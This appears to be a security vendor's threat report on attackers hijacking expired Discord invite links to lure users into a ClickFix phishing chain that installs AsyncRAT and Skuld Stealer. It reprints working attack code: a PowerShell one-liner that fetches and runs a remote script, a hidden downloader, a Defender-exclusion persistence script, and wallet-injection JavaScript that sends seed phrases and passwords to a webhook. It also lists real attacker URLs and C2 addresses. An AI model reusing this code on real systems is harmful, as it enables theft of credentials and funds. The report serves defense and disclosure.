
Discord is a heavily used, widely trusted platform favored by gamers, communities, businesses and others who need to connect securely and quickly. But what if your trusted platform unknowingly becomes a trap?
Check Point Research uncovered a flaw in Discord’s invitation system which allows attackers to hijack expired or deleted invite links and secretly redirect unsuspecting users to malicious servers. Invitation links posted by trusted communities months ago on forums, social media, or official websites could now quietly lead you into cybercriminal hands.
We observed real-world attacks in which cybercriminals leverage hijacked invite links to deploy sophisticated phishing schemes and malware campaigns, including multi-stage infections designed to evade detection by antivirus tools and sandbox security checks.
In this report, we detail a newly discovered malware campaign exploiting Discord’s invitation system flaw. The attackers carefully orchestrate multiple infection stages and deliver payloads such as the Skuld Stealer which targets cryptocurrency wallets, and AsyncRAT which obtains full remote control of compromised systems. Notably, by combining multiple evasion techniques, the attackers are able to stealthily deliver malicious payloads while bypassing Windows security features and staying under the radar of many antivirus engines.
Our recent investigation into Discord invite-link hijacking revealed that cybercriminals actively exploit Discord’s invitation system to conduct phishing attacks. Initially, we discussed how attackers exploited Discord’s custom (vanity) invite links — special invite URLs available exclusively to servers with a premium subscription (Level 3 Boost). Criminals targeted servers whose custom invite links were expired after losing their boosts, and appropriated these recognizable invite URLs for their own use.
Further research indicates that this issue extends beyond custom vanity links to include standard invite links (e.g., discord.gg/y1zw2d5
).
Discord generates random invitation links, making it virtually impossible for legitimate servers to reclaim a previously expired invite. However, we found instances where regular randomly-generated invite codes, originally published by legitimate communities on websites or Telegram channels, now redirect users to malicious Discord servers. How is this possible?
All Discord invite links follow the format:
There are three primary types of invite links in Discord:
Discord generates temporary invite links by default unless you specify otherwise. When invites are created via the Discord application, you can select expiration durations of 30 minutes, 1 hour, 6 hours, 12 hours, 1 day, or 7 days (default).
When generated through Discord’s API, you can select any custom expiration time up to 7 days. Invite codes are randomly generated and typically contain 7 or 8 characters, combining uppercase letters, lowercase letters, and numbers. For example:
Figure 1 – Generating a random invite code in Discord application.
2. Permanent Invite Links:
These are created by explicitly selecting the “Expire After: Never” option. Codes generated for permanent invites contain 10 randomly-generated alphanumeric characters (uppercase, lowercase, numbers).
Figure 2 – Generating a permanent invite link in Discord application.
Example of permanent invite link:
3. Custom Vanity Invite Links:
These are exclusively available to Discord servers with a premium subscription (Level 3 Boost). Vanity invite links allow server administrators to manually select the invite code, provided it is unique across all Discord servers. Codes may contain lowercase letters, numbers, or dashes, and all letters are automatically converted to lowercase. A server can only have one vanity link at a time. If a server loses its boosts, its custom vanity link becomes available for reuse by another boosted server.
When creating a regular randomly-generated invite link, after it’s expired or deleted, you cannot obtain the same invite link again. Invite codes are generated randomly and the probability of generating the same exact invite code is extremely low.
However, the mechanism for creating custom invite links surprisingly lets you reuse expired temporary invite codes, and, in some cases, deleted permanent invite codes:
Figure 3 – Assigning a previously used invite code from another server as a custom vanity invite link for a boosted server in Discord application.
Attackers actively exploit this behavior. Once a temporary invite expires, its code can be registered as a custom invite for another Discord server that has Level 3 Boost. If a legitimate Discord server uses a custom vanity link but later loses its boost status (for example, due to a missed subscription payment), the vanity invite becomes available again, and attackers can claim it for their own malicious server. This creates a serious risk: Users who follow previously trusted invite links (e.g., on websites, blogs, or forums) can unknowingly be redirected to fake Discord servers created by threat actors.
The safest option is to use permanent invites, which are more resistant to hijacking. In particular, if a permanent invite code contains any uppercase letters, it cannot be reused even after deletion. However, in rare cases, if a deleted permanent invite consisted only of lowercase letters and digits (about 0.44% of all cases), the code may become available again for registration as a vanity invite.
The table below summarizes the hijack risk for each type of invite:
Invite type | Can be hijacked? | Explanation |
---|---|---|
Temporary Invite Link | ✅ Yes | After expiration, the code becomes available and can be re-registered as a custom vanity URL by a different server with Level 3 Boost. |
Permanent Invite Link | ⚠️ Conditional | If deleted, a code with only lower-case letters and digits can be re-registered as a custom vanity URL by a different server with Level 3 Boost. |
Custom Vanity Invite | ✅ Yes (if lost) | If the original server loses its Level 3 Boost status, the vanity invite becomes invalid and may be claimed by another boosted server. |
In both the Web and desktop versions of the Discord client, the invite code management behavior creates an additional risk factor. When users create a new temporary invite through the “Invite People” option in the server’s menu and check the box “Set this link to never expire,” it does not modify the expiration time of an already generated temporary invite. The figure below shows how, when you click the “Set this link to never expire” checkbox, the Discord client shows that the link settings have supposedly changed, but the invite code remains temporary (as we can see, it consists of 8 characters).
Figure 4 – When you set “Never Expires” for an existing link, its expiration settings do not actually change.
Users often mistakenly believe that by simply checking this box, they have made the existing invite permanent (and it was this misunderstanding that was exploited in the attack we observed). As a result, temporary invites are published under the false assumption that they will never expire. These links eventually expire without warning, making their codes vulnerable to hijacking and malicious reuse.
Let’s explore how attackers can hijack Discord invite links under different conditions.
Case 1: Temporary invite with only lowercase letters and digits
Let’s say a legitimate server shares an invite link like: https://discord.gg/yzqks3d
This code contains only lowercase letters and digits. As long as the invite is active, attackers cannot register it as a vanity invite. However, once the invite expires or is manually deleted, the code becomes available. Attackers monitoring known invite codes can then quickly claim it as a vanity invite on a malicious boosted server. From that point on, anyone using this invite (yzqks3d
) will be redirected to the attacker’s server.
Case 2: Temporary invite with uppercase letters
Now let’s consider another invite code: https://discord.gg/uzwgPxUZ
This code includes uppercase letters. In this case, attackers can register a vanity invite using the lowercase version of the same code (uzwgpxuz
) even while the original invite is still active. Discord allows it because vanity codes are always stored and compared in lowercase.
While the original invite is still valid, users who follow the link will land on the correct server. But as soon as this invite expires, users clicking the previously legitimate link (uzwgPxUZ
) are seamlessly redirected to the attackers’ server, which now owns the lowercase vanity version of that code.
Note that if the original invite that includes uppercase letters is manually deleted before its expiration, Discord continues to treat the code as reserved until the scheduled expiration time is reached. The users following the original link (uzwgPxUZ
) won’t be redirected to the attacker’s server until then.
Using the method described above, attackers hijack Discord invite links originally shared by legitimate communities. Users following these trusted links, found in social media posts or official community websites, unknowingly end up on malicious servers carefully designed to look authentic.
Upon joining, new members typically see that most channels are locked and only one channel, usually named “verify”, is accessible. In this channel, a bot named ”Safeguard” prompts users to complete a verification step to gain full server access.
Figure 5 – Malicious Discord server where users land after clicking a hijacked invite link.
Inspecting the bot’s information reveals that the malicious bot “Safeguard#0786” was created on February 1, 2025:
Figure 6 – Malicious “Safeguard” bot description.
When users click the “verify” button, they’re asked to authorize the bot, redirecting them to an external website: https://captchaguard[.]me
. At the same time, the bot obtains access to user profile details, such as username, avatar, and banner.
Figure 7 – Safeguard bot redirecting users to the phishing website.
After the user authorizes the bot, Discord starts the OAuth2 authentication flow. Discord generates a single use code and the URL with a format such as https://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j
is opened in the browser. At the same time, using this code, the website gets the username and the server name from Discord. After successfully retrieving user data from Discord, the server redirects the user to another URL with the format:
https://captchaguard[.]me/?key=aWQ9dXNlcm5hbWUyMzQ0JnRva2VuPTExMjIzMzQ0MDEyMz…
In this URL, the “key” variable contains BASE64-encoded data retrieved from Discord that includes the username, Discord guild, and icon IDs. The page is static and does not actually verify the data received in the “key=” variable. Therefore, anyone can open it using the empty value:
https://captchaguard[.]me/?key=
Once redirected, the user is shown a well-designed web page mimicking Discord’s UI. At the center is a “Verify” button, accompanied by a green shield logo.
Figure 8 – Phishing website displaying a fake verification message.
Clicking “Verify” executes JavaScript that silently copies a malicious PowerShell command to the user’s clipboard:
powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"
The attackers use a refined UX trick known as “ClickFix”, a technique in which the service initially appears broken, prompting the user to take manual action to “fix” it. In this case, a fake Google CAPTCHA is shown as failing to load, and manual “verification” instructions are displayed.
This page presents a sequence of clear, visually guided steps to pass “verification”: open the Windows Run dialog (Win + R
), paste the text preloaded into the clipboard, and press Enter. The site avoids asking users to download or run any files manually, removing a common red flag. By using familiar Discord visuals and a polished layout, the attackers create a false sense of legitimacy.
Figure 9 – Social engineering technique tricking a user to execute a malicious command.
In reality, this action causes the user’s computer to download and execute a PowerShell script hosted on Pastebin:
https://pastebin[.]com/raw/zW0L2z2M
Pastebin is a public web service where users can store and share plain text online, and is often used for sharing code snippets, logs, or configuration data. When you create a new “paste”, it becomes accessible via a short link like “https://pastebin[.]com/raw/{resource_id}
”. Usually, it does not require registration to share some data. Registered users have the ability to delete and edit data they previously posted.
The malware campaign we uncovered in our research follows a carefully designed multi-stage infection chain. Threat actors leverage a combination of Discord, phishing websites, social engineering, public services like Pastebin, and cloud platforms such as GitHub and Bitbucket to deliver their payloads.
The diagram below summarizes the initial phase, which involves phishing via hijacked Discord invites and the ClickFix technique detailed above:
Figure 10 – Infection chain overview: From hijacked Discord invite to execution of PowerShell downloader.
At the conclusion of this phase, a PowerShell script is executed on the victim’s machine. This script downloads and runs a first-stage downloader (installer.exe) from GitHub, initiating the next phase of the attack.
The script executed at the end of this phase downloads and runs a first-stage downloader (installer.exe) from GitHub, initiating the next stage of the attack. This stage involves multiple loaders and payloads retrieved from Bitbucket, ultimately deploying malicious payloads, including AsyncRAT and Skuld Stealer:
Figure 11 – Infection chain overview: From PowerShell to final malware payload delivery.
Let’s now examine each component of the second-phase in detail.
The script download from Pastebin link is not obfuscated or encrypted. From its code we can see that it downloads and runs an executable file from a GitHub URL:
# Hide PowerShell Console Window Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); } "@ $consolePtr = [Win32]::GetConsoleWindow() [Win32]::ShowWindow($consolePtr, 0) # Hide the console window # Define the download and execution parameters $url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe" # Direct EXE download $exePath = Join-Path $env:TEMP ('installer.exe') try { Write-Output "Establishing connection..." # Download the EXE using WebClient $webClient = New-Object System.Net.WebClient $webClient.DownloadFile($url, $exePath) # Validate the download if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) { Write-Output "failed. Exiting..." exit 1 } # Run the executable Start-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow } catch { Write-Output "An error occurred" } finally { Write-Output "unable to detect discord session." }
We noticed that almost no anti-virus vendors flag this script as malicious:
Figure 12 – Malicious PowerShell script has an extremely low detection rate on VirusTotal.
Cybercriminals actively use the ability to edit information posted on Pastebin to change the GitHub URL from which the executable file is downloaded. This probably allows them to bypass the blocking by GitHub. If the repository is deleted, the attackers just create a new account and a new repository, to which they upload the file. The new URL is then placed inside the Pastebin script.
While monitoring the campaign, we observed the following changes in the address:
The downloaded executable installer.exe (SHA256: 673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932) has extremely low detection rates. At the time of our research, only a single antivirus vendor on VirusTotal flagged it as malicious:
Figure 13 – First Stage Downloader has an extremely low detection rate on VirusTotal.
During continued monitoring of the campaign, we identified a newer variant of the loader (SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) that achieved zero detections across all antivirus engines at the time of submission.
Figure 14 – First Stage Downloader with zero detections on VirusTotal.
This binary acts as a downloader that retrieves its second-stage payloads from remote servers.
Written in C++ and approximately 4.8MB in size, the binary is not packed. However, the extensive use of junk code complicates its static analysis. Additionally, C++ binaries inherently complicate analysis due to their use of virtual function tables, indirect function calls, and complex runtime structures, making it challenging to quickly identify the relevant code paths.
At first glance, the downloader seems to contain plaintext strings; however, nearly all easily visible strings belong to junk code designed to distract analysts. In reality, critical strings related to malicious functionality are concealed by being stored as sequences of immediate values pushed directly onto the stack at runtime. Each string is additionally encrypted using a simple XOR cipher with a single-byte key. A distinct XOR key is used for every encrypted string and loaded into the CL
register typically just before the process of writing encrypted bytes to the stack. The same method is applied to obfuscate important Windows API function names, whose addresses the malware dynamically resolves using GetProcAddress
.
Figure 15 – Strings and API calls obfuscation in the loader.
When executed in a sandbox without extra options, the malware does not expose any suspicious functionality. It just performs dozens of junk calls (such as OpenThemeData
, RegisterWindowMessageW
, SHGetStockIconInf
, etc.) and then exits.
However, if executed with the command-line parameters ”-arg1
” or ”-arg2
“, it initiates further malicious operations. It’s noteworthy that the initial PowerShell script described earlier explicitly passes the “ -arg1
” parameter to the executable, triggering its malicious functionality.
Upon execution with the correct argument, the dropper creates the following directory: C:\\Users\\%USERNAME%\\AppData\\Local\\ServiceHelper\\
Then, it creates two Visual Basic scripts inside this folder:
This script attempts to evade Windows Defender detection by adding the user’s directory to Defender’s exclusion paths. It also schedules a persistent task named checker
, set to run every 5 minutes with the highest privileges. This task periodically launches the second script, runsys.vbs. In addition, the script ensures the creation of a placeholder file called settings.txt. This file acts as an execution flag: The malware checks for its existence upon startup to determine if it has previously run.
Dim objNetwork, strUsername, objShellApp, objShell, strExclusionPath, strTaskCommand Set objNetwork = CreateObject("WScript.Network") strUsername = objNetwork.UserName Set objShellApp = CreateObject("Shell.Application") Set objShell = CreateObject("WScript.Shell") strExclusionPath = "C:\\users\\" & strUsername objShellApp.ShellExecute "PowerShell", "-Command Add-MpPreference -ExclusionPath '" & strExclusionPath & "'", "", "runas", 0 strTaskCommand = "schtasks /create /tn ""checker"" /tr ""wscript.exe \\""C:\\Users\\" & strUsername & "\\AppData\\Local\\ServiceHelper\\runsys.vbs\\"""" /sc MINUTE /mo 5 /RL HIGHEST" objShell.Run "cmd /c " & strTaskCommand, 0, True strFilePath = "C:\\users\\" & strUsername & "\\AppData\\Local\\ServiceHelper\\settings.txt" Set objFSO = CreateObject("Scripting.FileSystemObject") If Not objFSO.FileExists(strFilePath) Then Call objFSO.CreateTextFile(strFilePath, True) End If Set objShellApp = Nothing Set objShell = Nothing Set objNetwork = Nothing Set objFSO = Nothing
This short script silently executes the second-stage payload executable syshelpers.exe.
On Error Resume Next Set WshShell = CreateObject("WScript.Shell") WshShell.Run """C:\\Users\\%UserName%\\AppData\\Local\\ServiceHelper\\syshelpers.exe""", 0, False
Once these scripts are set up, the dropper proceeds to download two encrypted payloads from Bitbucket:
URL | Local file name |
---|---|
https://bitbucket[.]org/syscontrol6/syscontrol/downloads/skul.exe | searchHost.exe |
https://bitbucket[.]org/syscontrol6/syscontrol/downloads/Rnr.exe | syshelpers.exe |
To perform HTTP requests, the malware uses the following specific User-agent string:
Dynamic WinHTTP Client/1.0
Both files are stored encrypted on the Bitbucket service. To decrypt these downloaded executables, the malware applies the following XOR-based algorithm:
def decrypt_data(data): return bytes(b ^ ((119 + 5 * i) & 0xFF) for i, b in enumerate(data))
Despite using a relatively simple encryption scheme, this technique effectively prevents detection of the malicious payloads stored on Bitbucket. At the time of this writing, neither of the two downloaded files (skul.exe and Rnr.exe) is flagged as malicious by any antivirus vendor on VirusTotal. Previously, we observed similar use of payload encryption by malware such as GuLoader, enabling threat actors to leverage legitimate services like Google Drive for payload hosting and effectively evade antivirus detection.
Upon successful decryption, these files are stored in the previously created directory (ServiceHelper).
CreateProcessW
API function.The file Rnr.exe (decrypted SHA256: 5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f), downloaded from Bitbucket and saved locally as syshelpers.exe, also acts as a downloader.
It shares many similarities with the previously described downloader (installer.exe), in particular that both use XOR obfuscation with a single-byte key to hide strings and API function names.
When sending HTTP requests to download its payload, the sample sets the following User-Agent
header:
Dynamic WinHTTP Client/1.0
The encrypted payload is downloaded from this URL:
https://bitbucket[.]org/updatevak/upd/downloads/AClient.exe
Figure 16 – Encrypted paths and a URL in the second stage downloader.
The same file can also be found on the previously discussed repository: https://bitbucket[.]org/syscontrol6/syscontrol/downloads/AClient.exe
. This may indicate that there could be other versions of the Rnr.exe file downloading payloads from different repositories.
This downloader employs an interesting sandbox evasion technique. On first execution, the downloader fetches the payload from the above URL and saves it in the current directory under the name ”updatelog” (Note: There is no file extension). It then immediately exits without decrypting or executing the payload.
However, as described earlier, this executable is automatically re-executed every five minutes via a scheduled task (runsys.vbs). On the next launch, the downloader checks for the presence of the ”updatelog” file. If the file exists, the downloader proceeds to decrypt it using the same XOR-based algorithm used by the previous downloader and saves the result as syshelp.exe in the same directory.
On every subsequent run, the downloader checks if the file syshelp.exe exists in the current folder, and if so, the downloader executes it.
Even when the full infection chain is triggered starting from the initial PowerShell script, the malware’s use of scheduled tasks causes significant delays:
In total, at least 15 minutes must pass before any malicious behavior becomes visible — long enough to evade detection by many automated sandbox systems.
If this downloader is executed without prior context inside a sandbox, the final payload will be downloaded but never decrypted or run. As a result, none of its malicious behavior will be visible, regardless of what the payload contains.
The first payload delivered in this campaign, AClient.exe (decrypted SHA256: 53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe), is a variant of the AsyncRAT malware, version 0.5.8. AsyncRAT an open-source Remote Access Trojan (RAT). It provides attackers with comprehensive remote control capabilities over infected systems, including:
This AsyncRAT sample uses a “dead drop resolver” technique: Instead of directly embedding the command-and-control (C&C) server address, the malware retrieves it from a publicly accessible third-party resource – in this case, a Pastebin document:
https://pastebin.com/raw/ftknPNF7
At the time of analysis, the Pastebin URL contained the following C&C server address:
101.99.76.120:7707
However, we later discovered that most of the time the address value was set to 0.0.0.0:7707
.
We also found earlier AsyncRAT samples related to the same threat actors with the following SHA256:
The earliest sample was first seen on November 11, 2024. These samples contain embedded C&C server addresses in their configuration:
87.120.127.37:7707 185.234.247.8:7707 microads[.]top:7707
The registration date for the domain microads[.]top
is August 15, 2024, meaning that the threat actors are active at least from this date.
The second payload downloaded from Bitbucket is skul.exe (decrypted SHA256: 8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c). This executable is identified as a variant of the Skuld Stealer, a malware tool written in Go and publicly available as open source on GitHub.
The original Skuld Stealer project is described as a proof-of-concept malware targeting Windows systems, designed to steal sensitive user data from multiple sources, including Discord, various browsers, crypto wallets, and gaming platforms.
The original Skuld Stealer provides extensive functionality, including:
However, the variant used in this specific campaign differs from the publicly available version in several aspects. Notably, it omits certain functionality:
Let’s go deeper into some of the details of the variant used in this campaign.
To prevent multiple instances of itself from running, Skuld creates a mutex with a specific, GUID-like name. The variant used in this campaign uses the exact same mutex name as the open-source version:
3575651c-bb47-448e-a514-22865732bbc
func IsAlreadyRunning() bool { const AppID = "3575651c-bb47-448e-a514-22865732bbc" _, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\\\%s", AppID))) return err != nil }
This mutex name can be used as an IOC to detect if Skuld is active in the system.
Skuld sends the collected data through a Discord webhook, a one-way HTTP-based channel commonly used by applications to post automated messages and data to Discord channels. Webhooks provide a convenient, secure, and easily configurable way for attackers to exfiltrate stolen information without maintaining complex command-and-control servers.
In the original open-source version of Skuld, the Discord webhook URL is stored in plaintext within the configuration:
CONFIG := map[string]interface{}{ "webhook": "https://discord.com/api/webhooks/...", "cryptos": map[string]string{ "BTC": "", # crypto-clipper setup "BCH": "", // ... }, }
However, the variant analyzed in this campaign uses two separate Discord webhooks, each serving different purposes, and both URLs are encrypted using a single-byte XOR cipher.
Upon execution, the malware decrypts both webhook URLs:
Figure 17 – Webhook URL decryption in Skuld stealer.
These are the decrypted webhook URLs:
Name | URL |
---|---|
webhook | https://discord[.]com/api/webhooks/1355186248578502736/_RDywh_K6GQKXiM5T05ueXSSjYopg9nY6XFJo1o5Jnz6v9sih59A8p-6HkndI_nOTicO |
webhook2 | https://discord[.]com/api/webhooks/1348629600560742462/RJgSAE7cYY-1eKMkl5EI-qZMuHaujnRBMVU_8zcIaMKyQi4mCVjc9R0zhDQ7wmPoD7Xp |
webhookencr
) is used for exfiltrating general data, such as browser credentials, system information, and Discord tokens.webhookencr2
) is specifically reserved for exfiltrating highly sensitive data: crypto wallet seed phrases and passwords from the Exodus and Atomic crypto wallets.Below is a partially restored Go-code responsible for this logic:
func main() { CONFIG["webhook"] = decryptXOR(CONFIG["webhookencr"].(string)) CONFIG["webhook2"] = decryptXOR(CONFIG["webhookencr2"].(string)) actions := []func(string){ wallets.Run, browsers.Run, system.Run, discodes.Run, commonfiles.Run, tokens.Run, } // Standard modules using the first webhook for _, action := range actions { go action(CONFIG["webhook"].(string)) } // Special module for crypto wallet injection using the second webhook go mainGowrap1(CONFIG["webhook2"].(string)) } func mainGowrap1(webhook2 string) { atomicURL := "https://github.com/hackirby/wallets-injection/raw/main/atomic.asar" exodusURL := "https://github.com/hackirby/wallets-injection/raw/main/exodus.asar" walletsinjection.Run(atomicURL, exodusURL, webhook2) }
Skuld uses a malicious technique known as wallet injection. It replaces legitimate cryptocurrency wallet application files (app.asar) with modified versions downloaded from GitHub. Skuld Stealer specifically targets the Exodus and Atomic crypto wallets. The .asar files are archive files used by Electron applications (cross-platform applications built with JavaScript, HTML, and CSS). Electron applications commonly use .asar archives to package their source code and assets.
Skuld Stealer downloads malicious .asar
files from the following repositories:
https://github.com/hackirby/wallets-injection/raw/main/atomic.asar
https://github.com/hackirby/wallets-injection/raw/main/exodus.asar
Once downloaded, Skuld replaces the original wallet archives with these malicious versions. Additionally, Skuld creates seemingly harmless LICENSE text files in the wallet directories, and embeds Discord webhook URLs:
%LOCALAPPDATA%\\Programs\\atomic\\LICENSE.electron.txt
%LOCALAPPDATA%\\exodus\\app-<version>\\LICENSE
Figure 18 – Fake LICENSE file in Exodus wallet contains a Discord webhook URL.
These webhook URLs are then read by the malicious JavaScript inside the injected .asar
files.
When users interact with their wallets, the patched JavaScript function extracts sensitive user data, such as password and seed phrases, and sends it to the attacker.
For instance, in the case of the Exodus wallet, Skuld injects malicious code into the wallet’s unlock
function, which receives the user’s entered password and retrieves the seed phrase. The malicious JavaScript then sends both the extracted seed phrase and password to the attacker via the Discord webhook.
async unlock(e) { if (await this.shouldUseTwoFactorAuthMode()) return; const t = await Object(ee.readSeco)(this._walletPaths.seedFile, e); this._setSeed(M.fromBuffer(t)), P.a.randomFillSync(t), await this._loadLightningCreds() const webhook = await fs.readFile('LICENSE', 'utf8'); const mnemonic = this._seed.mnemonicString; const password = e; const computerName = os.hostname(); const username = os.userInfo().username; var request = new XMLHttpRequest(); request.open("POST", webhook, true); request.setRequestHeader("Content-Type", "application/json"); var payload = JSON.stringify({ "username": "skuld - exodus injection", "avatar_url": "https://i.ibb.co/GJGXzGX/discord-avatar-512-FCWUJ.png", "content": "`" + computerName + "`" + " - " + "`" + username + "`", "embeds": [ { "title": "Exodus Injection", "color": 0xb143e3, "footer": { "text": "skuld exodus injection - made by hackirby", "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", }, "fields": [ { "name": "Mnemonic", "value": "`" + mnemonic + "`", }, { "name": "Password", "value": "`" + password + "`", }, ], }, ]}); request.send(payload); }
As we know, the seed phrase (or mnemonic phrase) is a human‑readable representation of a wallet’s master private key. Under standards like BIP‑39, a 12‑ or 24‑word mnemonic encodes the entropy that, when run through a key‑derivation function (e.g. PBKDF2) and the BIP‑32 hierarchical‑deterministic algorithm, generates the wallet’s master private key and all its descendant private/public key pairs.
In practical terms, obtaining a user’s seed phrase lets an attacker reconstruct every private key in that wallet’s keychain and therefore grants full control over all cryptocurrency addresses and funds derived from it.
During our ongoing monitoring of the campaign, we observed that the threat actors periodically update the installer.exe
downloader. Newer versions often achieve zero detection rates on VirusTotal. Additionally, new payloads are occasionally introduced.
In 2024, Google introduced a security feature in Chrome called Application-Bound Encryption (ABE), aimed at preventing cookie extraction via standard access to SQLite Cookies files. This enhancement rendered most traditional stealers, including Skuld, ineffective.
To circumvent this, attackers adapted the open-source tool ChromeKatz (https://github.com/Meckazin/ChromeKatz/), enabling them to steal cookies from updated versions of Google Chrome, as well as Chromium-based browsers like Edge and Brave. The updated installer.exe
(SHA256: 160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693) also downloads the stealer from BitBucket, where it is stored in encrypted form:
https://bitbucket[.]org/syscontrol6/syscontrol/downloads/cks.exe
To decrypt the downloaded binary, the loader uses the same encryption algorithm used for the other payloads. The decrypted cks.exe has the SHA256 hash:
Unlike traditional stealers that rely on decrypting cookie files, the ChromeKatz-based stealer operates directly within the browser’s memory, effectively bypassing ABE and extracting cookies from the latest versions of Google Chrome, Edge, and Brave. The stealer accesses the browser process memory directly, retrieving cookies in their decrypted form.
Before initiating cookie collection, the stealer searches for the appropriate browser process (chrome.exe
, msedge.exe
, or brave.exe
) for injection. It enumerates active processes, identifies browser processes, determines the executable path using the K32GetModuleFileNameExW
function, and retrieves the browser version via GetFileVersionInfoW
.
Figure 19 – Detecting the browser version.
This step is crucial, as ChromeKatz can only operate with specific browser versions where the CookieMap
structure in memory is known.
Notably, cookies are stored exclusively in a single child process of the browser, the NetworkService
, responsible for network operations. To locate the correct process, the stealer checks for the following string in the command-line arguments:
--utility-sub-type=network.mojom.NetworkService
The steps in the cookie extraction mechanism:
MEM_PRIVATE | PAGE_READWRITE
memory region within the browser’s memory, presumed to contain the CookieMap
structure.0xAA
as wildcards) to locate the start of the structure.Figure 20 – Recursive traversal of the B-tree storing cookies in browser memory.
The attackers incorporated string encryption (similar to that used in the downloaders) and a check for the presence of a settings.txt file, which should have been created by the downloader. This simple trick allows the stealer to bypass sandbox environments, as the module exits without initiating malicious activity if run in isolation from the rest of the malware chain.
The stolen data is archived into a file exported_cookies.zip, which is then sent to the attackers via a Discord webhook.
In the analyzed samples (SHA256: db1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08,
f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c), the following webhook URLs were used:
We also identified another active campaign, operated by the same threat actors, which shares core characteristics with the previously described campaign but employs a different initial infection vector. In this case, the loader is distributed as a Trojanized hacktool for unlocking pirated downloadable content (DLC) in The Sims 4 — specifically targeting that game’s player base.
The malicious archive Sims4-Unlocker.zip (SHA256: ef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c) is hosted at:
https://bitbucket[.]org/htfhtthft/simshelper/downloads/Sims4-Unlocker.zip
Bitbucket provides download counters, allowing us to see the scope of the campaign. During our monitoring, we observed more than 350 downloads of the archive:
Figure 21 – Bitbucket download count for Sims4-Unlocker.zip
Despite the different entry point and target audience, the same loader framework is used, along with the Skuld Stealer and AsyncRAT payloads.
Additional related repositories likely linked to past campaigns by the same actors:
Precise identification of victims remains challenging due to the nature of the attack infrastructure. As the Skuld Stealer uses Discord webhooks, a one-way communication method, for exfiltrating stolen data, the attackers receive sensitive information without leaving publicly accessible traces. As a result, direct victim attribution is limited.
However, hosting payloads on Bitbucket provides a way to roughly estimate the campaign’s reach based on the download statistics. Across several observed repositories, the number of downloads exceeded 1,300. While not every download necessarily corresponds to a successful infection, this number lets us reasonably approximate the potential victim pool.
Based on external telemetry, we determined that victims are distributed across multiple countries, including:
The choice of payloads, including a powerful stealer specifically targeting cryptocurrency wallets, suggests that the attackers are primarily focused on crypto users and motivated by financial gain.
This campaign illustrates how a subtle feature of Discord’s invite system, the ability to reuse expired or deleted invite codes in vanity invite links, can be exploited as a powerful attack vector. By hijacking legitimate invite links, threat actors silently redirect unsuspecting users to malicious Discord servers.
The attackers constructed a carefully orchestrated, multi-stage infection chain, beginning with social engineering techniques, followed by a PowerShell-based downloader, and employing trusted services like GitHub, Bitbucket, and Pastebin to stealthily host and deliver encrypted malware payloads. Interestingly, instead of employing sophisticated obfuscation or packing techniques, they relied on simpler yet highly effective evasion methods: Altering behavior based on command-line parameters, introducing execution delays through scheduled tasks, and decrypting payloads only after multi-step execution.
The selected payloads, specifically AsyncRAT and a customized variant of Skuld Stealer, indicate a financial motivation behind this attack. While Skuld targets credentials from multiple sources such as browsers and Discord, the campaign places particular emphasis on cryptocurrency wallets, notably Exodus and Atomic, by injecting malicious JavaScript that exfiltrates stolen wallet seed phrases and passwords via a dedicated Discord webhook. At the same time, the persistent scheduled task regularly triggers the second-stage loader, ensuring continuous execution and persistence of AsyncRAT. Even if a victim discovers and removes the malware, AsyncRAT will be redownloaded and re-executed, enabling attackers to retain ongoing remote control over previously compromised systems.
Discord took swift action to disable the malicious bot used in this campaign, which helps disrupt the current infection chain. However, the broader risk, that attackers could create new bots or adopt alternate delivery methods that leverage the same core techniques, still remains.
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.
SHA256 | Description |
---|---|
673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932 | 1st Stage Downloader (RnrLoader) |
160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693 | 1st Stage Downloader (RnrLoader newer version) |
5d0509f68a9b7c415a726be75a078180e3f02e59866f193b0a99eee8e39c874f | 2nd Stage Downloader (RnrLoader) |
375fa2e3e936d05131ee71c5a72d1b703e58ec00ae103bbea552c031d3bfbdbe | PowerShell Script |
53b65b7c38e3d3fca465c547a8c1acc53c8723877c6884f8c3495ff8ccc94fbe | AsyncRAT payload |
d54fa589708546eca500fbeea44363443b86f2617c15c8f7603ff4fb05d494c1 | AsyncRAT payload |
670be5b8c7fcd6e2920a4929fcaa380b1b0750bfa27336991a483c0c0221236a | AsyncRAT payload |
8135f126764592be3df17200f49140bfb546ec1b2c34a153aa509465406cb46c | Skuld Stealer payload |
f08676eeb489087bc0e47bd08a3f7c4b57ef5941698bc09d30857c650763859c | ChromeKatz payload |
db1aa52842247fc3e726b339f7f4911491836b0931c322d1d2ab218ac5a4fb08 | ChromeKatz payload |
ef8c2f3c36fff5fccad806af47ded1fd53ad3e7ae22673e28e541460ff0db49c | Sims4-Unlocker.zip |
Phishing Website:
PowerShell Script:
Bitbucket repositories:
First stage downloader:
Second stage downloader:
Skuld stealer:
AsyncRAT:
AsyncRat Dead Drop Resolver:
AsyncRAT C2:
Skuld Discord Webhooks: